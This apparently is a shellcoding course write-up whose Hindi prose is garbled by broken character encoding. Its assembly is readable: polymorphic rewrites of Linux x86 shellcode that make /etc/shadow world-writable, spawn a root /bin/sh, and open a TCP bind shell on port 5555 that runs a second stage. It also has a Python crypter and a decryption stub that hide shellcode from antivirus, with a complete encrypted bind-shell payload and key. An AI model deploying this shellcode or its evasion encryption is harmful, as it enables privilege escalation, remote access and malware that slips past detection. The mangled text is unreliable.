рдПрдХ рдмрд╣реБрд░реВрдкреА рдкрд░рд┐рд╡рд░реНрддрди рдПрдХ рдкрд░рд┐рд╡рд░реНрддрди рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╢реЗрд▓рдХреЛрдб рдХреЛрдб рдмрджрд▓рддрд╛ рд╣реИ рдФрд░ рддрд░реНрдХ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реЛрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг:xor eax, eax рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рд░реАрд╕реЗрдЯ рдХрд░реЗрдЧрд╛,рд╕рдм eax, eax рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рднреА рд░реАрд╕реЗрдЯ рдХрд░реЗрдЧрд╛редрдкреНрд░рджрд░реНрд╢рди рдореЗрдВ рджреЛ рд╡рд┐рдХрд▓реНрдкреЛрдВ рдореЗрдВ рдЕрдВрддрд░ рд╣реЛрдЧрд╛: рдкрд╣рд▓рд╛ рдереЛрдбрд╝рд╛ рддреЗрдЬ рдЪрд▓реЗрдЧрд╛ред рдкреЙрд▓реАрдореЛрд░реНрдлрд┐рдХ рд░реВрдкрд╛рдВрддрд░рдг рд╢реЗрд▓рдХреЛрдб рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХреЛ рдмрджрд▓рддрд╛ рд╣реИ, рдЬреЛ рдПрдВрдЯреАрд╡рд╛рдпрд░рд╕ рд╕реЗ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдЫрд┐рдкрд╛рдиреЗ рдореЗрдВ рдорджрдж рдХрд░ рд╕рдХрддрд╛ рд╣реИред1. рдЪрд╛рдореЛрдж / рдЖрджрд┐ / рдЫрд╛рдпрд╛ ; http://shell-storm.org/shellcode/files/shellcode-608.php
; Title: linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 Bytes
; length - 40 bytes
section .text
global _start
_start:
sub ebx, ebx ; replaced
push 0x17 ; replaced
pop eax ; replaced
int 0x80
sub eax, eax ; replaced
push eax ; on success zero
push 0x776f6461
push 0x68732f63
push 0x74652f2f
mov ebx, esp
mov cl, 0xb6 ; replaced
mov ch, 0x1 ; replaced
add al, 15 ; replaced
int 0x80
add eax, 1 ; replaced
int 0x80
рдпрд╣ рд╢реЗрд▓рдХреЛрдб рд╕реИрдЯреБрдЗрдб () рдХреЛ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рд╕рд╛рде 0,0 рдХрд╣рддрд╛ рд╣реИ (рдпрд╣ рд░реВрдЯ рдЕрдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИ) рдФрд░ рдлрд┐рд░ / etc / рдЫрд╛рдпрд╛ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд▓рд┐рдП chmod () рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИред
рдХреБрдЫ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЛ рд░реАрд╕реЗрдЯ рдХрд┐рдП рдмрд┐рдирд╛ рдЗрд╕ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
section .text
global _start
_start:
push 0x17 ; replaced
pop eax ; replaced
int 0x80
push eax ; on success zero
push 0x776f6461
push 0x68732f63
push 0x74652f2f
mov ebx, esp
mov cl, 0xb6 ; replaced
mov ch, 0x1 ; replaced
add al, 15 ; replaced
int 0x80
add eax, 1 ; replaced
int 0x80
рдЗрд╕ рдХреЛрдб рдХреЛ asm рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ "рдПрдХрддреНрд░" рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдФрд░ C-рдлрд╝рд╛рдЗрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд╣реАрдВ, рдЗрд╕реЗ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред2. рдирд┐рд╖реНрдкрд╛рджрд┐рдд / рдмрд┐рди / рд╢ ; http://shell-storm.org/shellcode/files/shellcode-251.php
; (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 37 bytes
; length - 45 byte
section .text
global _start
_start:
push 0x17
mov eax, [esp] ; replaced
sub ebx, ebx ; replaced
imul edi, ebx ; replaced
int 0x80
push 0x2e
mov eax, [esp] ; replaced
push edi ; replaced
int 0x80
sub edx, edx ; replaced
push 0xb
pop eax
push edi ; replaced
push 0x68732f2f
push 0x6e69622f
lea ebx, [esp] ; replaced
push edi ; replaced
push edi ; replaced
lea esp, [ecx] ; replaced
int 0x80
рдЗрд╕ рд╢реЗрд▓рдХреЛрдб рдХреЛ рдкрд╣рд▓реЗ рд╣реА рдКрдкрд░ рдХреЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдмрд╛рд░ рдорд╛рдирд╛ рдЬрд╛ рдЪреБрдХрд╛ рд╣реИред рдЙрд╕реЗ рд╡рд┐рд╢реЗрд╖ рд╕реНрдкрд╖реНрдЯреАрдХрд░рдг рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред3. рджреВрд╕рд░реЗ рдЪрд░рдг рдХреЗ рд╕рд╛рде TCP рдмрд╛рдЗрдВрдб рд╢реЗрд▓рдХреЛрдб ; original: http://shell-storm.org/shellcode/files/shellcode-501.php
; linux/x86 listens for shellcode on tcp/5555 and jumps to it 83 bytes
; length 94
section .text
global _start
_start:
sub eax, eax ; replaced
imul ebx, eax ; replaced
imul edx, eax ; replaced
_socket:
push 0x6
push 0x1
push 0x2
add al, 0x66 ; replaced
add bl, 1 ; replaced
lea ecx, [esp] ; replaced
int 0x80
_bind:
mov edi, eax ; placing descriptor
push edx
push WORD 0xb315 ;/* 5555 */
push WORD 2
lea ecx, [esp] ; replaced
push 16
push ecx
push edi
xor eax, eax ; replaced
add al, 0x66 ; replaced
add bl, 1 ; replaced
lea ecx, [esp] ; replaced
int 0x80
_listen:
mov bl, 4 ; replaced
push 0x1
push edi
add al, 0x66 ; replaced
lea ecx, [esp] ; replaced
int 0x80
_accept:
push edx
push edx
push edi
add al, 0x66 ; replaced
mov bl, 5 ; replaced
lea ecx, [esp] ; replaced
int 0x80
mov ebx, eax
_read:
mov al, 0x3
lea ecx, [esp] ; replaced
mov dx, 0x7ff
mov dl, 1 ; replaced
int 0x80
jmp esp
рдпрд╣ рд╢реЗрд▓рдХреЛрдб рдХрдиреЗрдХреНрд╢рди рдЦреЛрд▓рддрд╛ рд╣реИ, рд╢реЗрд▓рдХреЛрдб рдХрд╛ рджреВрд╕рд░рд╛ рднрд╛рдЧ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддрд╛ рд╣реИредрджреВрд╕рд░реЗ рднрд╛рдЧ рдХрд╛ рдХреЛрдб: section .text
global _start
_start:
xor eax, eax
mov al, 1
xor ebx, ebx
mov ebx, 100
int 0x80
рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рд╢реЗрд▓рдХреЛрдб рдХрд╛ рджреВрд╕рд░рд╛ рднрд╛рдЧ рд╕рдлрд▓ рд░рд╣рд╛ред рдкреНрд░реЛрдЧреНрд░рд╛рдо рдПрдЧреНрдЬрд┐рдЯ рдХреЛрдб 100 рд╣реИред7. рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлрд░
рдЗрд╕ рддрдереНрдп рдХреЗ рдмрд╛рд╡рдЬреВрдж рдХрд┐ рдкрд╛рдареНрдпрдХреНрд░рдо рдореЗрдВ, рд╢реЗрд▓рдХреЛрдб рдХреЛ рдЙрдЪреНрдЪ-рд╕реНрддрд░реАрдп рд╕реА рднрд╛рд╖рд╛ рдФрд░ рд╕рд╣рд╛рдпрдХ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдореИрдВрдиреЗ рдЕрд╕реЗрдВрдмрд▓рд░ рдореЗрдВ рдЗрд╕ рдХрд╛рд░реНрдп рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХрд╛ рдирд┐рд░реНрдгрдп рд▓рд┐рдпрд╛, рдкрд╛рдареНрдпрдХреНрд░рдо рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреЗ рд╕рд░рд▓реАрдХрд░рдг рдХреЗ рдмрд╛рд╡рдЬреВрдж, рдХреЛрдбрд╛рдВрддрд░рдХ рдХреЛ рд╕рдорд░реНрдкрд┐рдд рд╣реИредcrypter.py
import sys
import random
if len(sys.argv) != 2:
print("Enter shellcode in hex")
sys.exit(0)
shellcode = sys.argv[1]
plain_shellcode = bytearray.fromhex(shellcode)
key_length = len(plain_shellcode)
r = ''.join(chr(random.randint(0,255)) for _ in range(key_length))
key = bytearray(r.encode())
encrypted_shellcode = ""
plain_key = ""
for b in range(len(plain_shellcode)):
enc_b = (plain_shellcode[b] + key[b]) & 255
encrypted_shellcode += '%02x' % enc_b
plain_key += '0x'+ '%02x' % key[b] + ','
print('*'*150)
print(encrypted_shellcode)
print('*'*150)
print(plain_key)
print('*'*150)
print(key_length)
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдПрдХ "рдХрдВрдХрд╛рд▓" рдмрдирд╛рдПрдБ: section .text
global _start
_start:
; push encrypted shellcode
<PUSH ENCRYPTED SHELLCODE>
jmp getdata
next: pop ebx
mov esi, esp
mov edi, esp
; place key length
mov ecx, <KEY LENGTH>
decrypt:
lodsb
sub al, byte [ebx]
inc ebx
stosb
loop decrypt
jmp esp
; exit
xor eax, eax
mov al, 1
xor ebx, ebx
int 0x80
getdata: call next
; Place key on next line
key db <CIPHER KEY>
рдЗрд╕ рдХреЛрдб рдХреЗ рд▓рд┐рдП, 3 рдЪреАрдЬреЗрдВ рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВ: рдПрдиреНрдХреЛрдбреЗрдб рд╢реЗрд▓рдХреЛрдб, рдХреБрдВрдЬреА рд▓рдВрдмрд╛рдИ рдФрд░ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рдкреБрд╢ рдирд┐рд░реНрджреЗрд╢ред рд╣рдо TCP рдмрд╛рдЗрдВрдб рд╢реЗрд▓ рд╢реЗрд▓рдХреЛрдб рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░рддреЗ рд╣реИрдВред рдУрдкрдХреЛрдб рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ:$hexopcode bind_tcp_shell
31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80
рд╣рдо рдЗрд╕реЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд░реЗрдВрдЧреЗ:$./crypter.py 31c031db31f6566a016a02b066b30189e1cd8089c25666680929666a0289e16a105152b066b30289e1cd806a0152b066b30489e1cd80565652b066b30589e1cd8089c231c9b10389d349b03fcd8079f931c050682f2f7368682f62696e89e35089e25389e1b00bcd80
*******************************Encrypted shellcode*******************************
4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
***********************************KEY*******************************************
0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,
***********************************KEY LENGTH************************************
105
рд╣рдорд╛рд░реЗ рдкрд░рд┐рдгрд╛рдо рдХреЗ рд▓рд┐рдП рдкреБрд╢ рдирд┐рд░реНрджреЗрд╢ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВ:$python3 hex2stack.py 4af2f48df478632d902db527287245fb5d8f38accc18f7b4ccae29ffc514fc2dc614d5e12946c535068f392d921449b111c738a35042da18dd730a75c04b8719c5b93cab8b31554c7fb773fa8f0cb976f37ba483f2bf361ee5f1132c20ba09bf4b86ad4c6f72b78f13
push 0x90909013
push 0x8fb7726f
...
Asm рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рднреА рдЖрд╡рд╢реНрдпрдХ рдкреИрд░рд╛рдореАрдЯрд░ рднрд░реЗрдВред section .text
global _start
_start:
; push encrypted shellcode
push 0x90909013
push 0x8fb7726f
push 0x4cad864b
push 0xbf09ba20
push 0x2c13f1e5
push 0x1e36bff2
push 0x83a47bf3
push 0x76b90c8f
push 0xfa73b77f
push 0x4c55318b
push 0xab3cb9c5
push 0x19874bc0
push 0x750a73dd
push 0x18da4250
push 0xa338c711
push 0xb1491492
push 0x2d398f06
push 0x35c54629
push 0xe1d514c6
push 0x2dfc14c5
push 0xff29aecc
push 0xb4f718cc
push 0xac388f5d
push 0xfb457228
push 0x27b52d90
push 0x2d6378f4
push 0x8df4f24a
jmp getdata
next: pop ebx
mov esi, esp
mov edi, esp
; place key length
mov ecx, 105
decrypt:
lodsb
sub al, byte [ebx]
inc ebx
stosb
loop decrypt
jmp esp
; exit
xor eax, eax
mov al, 1
xor ebx, ebx
int 0x80
getdata: call next
; Place key on next line
key db 0x19,0x32,0xc3,0xb2,0xc3,0x82,0x0d,0xc3,0x8f,0xc3,0xb3,0x77,0xc2,0xbf,0x44,0x72,0x7c,0xc2,0xb8,0x23,0x0a,0xc2,0x91,0x4c,0xc3,0x85,0xc3,0x95,0xc3,0x8b,0x1b,0xc3,0xb6,0xc3,0x83,0x31,0xc3,0x93,0xc3,0xac,0x25,0xc2,0xb9,0xc3,0x91,0xc2,0x99,0x4b,0x5e,0xc3,0xaf,0xc2,0x83,0xc2,0x84,0xc2,0x8b,0xc3,0xa4,0xc2,0xbb,0xc2,0xa6,0x4c,0x45,0x30,0x7a,0x7a,0xc2,0x80,0x52,0xc3,0xac,0x6e,0xc3,0xbb,0xc2,0x8c,0x40,0x7d,0xc2,0xbb,0x54,0x1b,0xc3,0x90,0xc3,0xb6,0x7d,0xc2,0xb1,0xc3,0xb2,0x31,0x26,0x6f,0xc2,0xa4,0x5a,0xc3,0x8e,0xc2,0xac,0xc2,0x93,
рд╣рдо рд╕рдВрдХрд▓рди рдХрд░рддреЗ рд╣реИрдВ:$nasm32 encrypted_bind
рдлрд╛рдЗрд▓ рд╕реЗ рдУрдкрдХреЛрдб рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:$popcode encrypted_bind
рдпрд╣ рд╕рдм shellcode.c рдореЗрдВ рд░рдЦреЗрдВ, рд╕рдВрдХрд▓рд┐рдд рдХрд░реЗрдВ рдФрд░ рдЗрд╕реЗ рдЪрд▓рд╛рдПрдВред
рд╕рдВрджрд░реНрдн
рдлрд╛рдЗрд▓реЛрдВ рдФрд░ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЗ рд╕рднреА рд▓рд┐рдВрдХ рдпрд╣рд╛рдВ рджреЗрдЦреЗ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВредрд╕реНрд░реЛрддред